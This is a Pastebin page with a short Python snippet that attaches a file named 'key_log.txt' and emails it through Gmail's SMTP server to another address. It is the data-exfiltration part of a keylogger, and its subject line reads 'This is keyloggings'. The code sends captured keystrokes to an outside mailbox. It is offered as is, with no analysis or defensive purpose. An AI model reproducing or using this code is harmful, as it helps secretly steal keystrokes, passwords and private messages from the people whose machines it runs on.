Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- email_user = 'user@gmail.com'
- email_password = '********'
- email_send = 'send@gmail.com'
- subject = 'This is keyloggings '
- msg = MIMEMultipart()
- msg['From'] = email_user
- msg['To'] = email_send
- msg['Subject'] = subject
- body = 'This is keyloggings'
- msg.attach(MIMEText(body,'plain'))
- filename = 'key_log.txt'
- attachment = open(filename,'rb')
- part = MIMEBase('application','octet-stream')
- part.set_payload((attachment).read())
- encoders.encode_base64(part)
- part.add_header('Content-Disposition',"attachment;filename= %s" %filename)
- msg.attach(part)
- server = smtplib.SMTP('smtp.gmail.com',587)
- server.ehlo()
- server.starttls()
- server.ehlo()
- server.login(email_user,email_password)
- text = msg.as_string()
- server.sendmail(email_user,email_send,text)
- server.quit()
Add Comment
Please, Sign In to add comment